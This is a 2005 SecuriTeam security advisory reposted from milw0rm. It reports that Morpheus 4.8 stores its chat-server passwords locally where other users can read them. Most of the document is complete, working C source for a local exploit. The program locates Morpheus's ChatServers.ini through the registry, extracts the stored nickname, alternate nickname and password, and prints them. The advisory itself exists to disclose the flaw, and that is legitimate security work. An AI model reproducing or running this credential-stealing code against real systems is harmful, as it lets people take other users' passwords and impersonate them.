[EXPL] Morpheus Information Discloser Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 04/25/05

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Date: 25 Apr 2005 15:07:31 +0200

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      Morpheus Information Discloser Exploit
    ------------------------------------------------------------------------

    SUMMARY

    " <> Morpheus now integrates BitTorrent so users can find and download
    more digital-media files than ever simply by typing keywords. Morpheus
    uses next-generation Neonet technology to deliver more results and faster
    downloads for MP3 audio, video, movies, games, software, pictures, and
    documents and can find rare content others cannot."

    The locally stored passwords used by Morpheus to connect to the program's
    chat servers can be retrieved and used to impersonate the user.

    DETAILS

    Vulnerable Systems:
     * Morpheus 4.8 and prior

    Exploit:
    /*******************************************************************

    Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Kozan

    Application: Morpheus 4.8 (and probably prior versions)
    Vendor: Streamcast Networks - www.streamcastnetworks.com
    Vulnerable Description: Morpheus 4.8 discloses chat passwords
    to local users.

    Discovered & Coded by: Kozan
    Credits to ATmaCA
    Web: www.netmagister.com
    Web2: www.spyinstructors.com
    Mail: kozan@netmagister.com

    *******************************************************************/

    #include <stdio.h>
    #include <string.h>
    #include <windows.h>

    HKEY hKey;
    #define BUFSIZE 100
    char prgfiles[BUFSIZE];
    DWORD dwBufLen=BUFSIZE;
    LONG lRet;

    int adresal(char *FilePath,char *Str)
    {
    char kr;
    int Sayac=0;
    int Offset=-1;
    FILE *di;
    di=fopen(FilePath,"rb");

    if( di == NULL )
    {
    fclose(di);
    return -1;
    }

    while(!feof(di))
    {
    Sayac++;
    for(int i=0;i<strlen(Str);i++)
    {
    kr=getc(di);
    if(kr != Str[i])
    {
    if( i>0 )
    {
    fseek(di,Sayac+1,SEEK_SET);
    }
    break;
    }
    if( i > ( strlen(Str)-2 ) )
    {
    Offset = ftell(di)-strlen(Str);
    fclose(di);
    return Offset;
    }
    }
    }
    fclose(di);
    return -1;
    }

    char *oku(char *FilePath,char *Str)
    {

    FILE *di;
    char cr;
    int i=0;
    char Feature[500];
    char AhUlanSelmanOmrumuYedin = 0x0D;

    int Offset = adresal(FilePath,Str);

    if( Offset == -1 )
    return "";

    if( (di=fopen(FilePath,"rb")) == NULL )
    return "";

    fseek(di,Offset+strlen(Str),SEEK_SET);

    while(!feof(di))
    {
    cr=getc(di);
    if(cr == AhUlanSelmanOmrumuYedin)
    break;
    Feature[i] = cr;
    i++;
    }

    Feature[i] = '\0';
    fclose(di);
    return Feature;
    }

    int main()
    {
    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
    0,
    KEY_QUERY_VALUE,
    &hKey) == ERROR_SUCCESS)
    {

    lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
    (LPBYTE) prgfiles, &dwBufLen);

    if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
    {
    RegCloseKey(hKey);
    printf("An error occured!\n");
    exit(1);
    }

    RegCloseKey(hKey);

    }
    else
    {
    RegCloseKey(hKey);
    printf("An error occured!\n");
    exit(1);
    }

    strcat(prgfiles,"\\StreamCast\\Morpheus\\ChatServers.ini");

    printf("Morpheus 4.8 Local Chat Password Disclosure Exploit by Kozan\n");
    printf("Credits to ATmaCA\n");
    printf("www.netmagister.com - www.spyinstructors.com \n");
    printf("kozan@netmagister.com \n\n");

    char Nickname[BUFSIZE], AltNick[BUFSIZE], Password[BUFSIZE];

    strcpy(Nickname,oku(prgfiles,"Nick="));
    strcpy(AltNick,oku(prgfiles,"AltNick="));
    strcpy(Password,oku(prgfiles,"Pwd="));

    printf("Nickname : %s\n",Nickname);
    printf("Altnick : %s\n",AltNick);
    printf("Password : %s\n",Password);

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by milw0rm.com.
    The original article can be found at: <http://milw0rm.com/id.php?id=935>
    http://milw0rm.com/id.php?id=935

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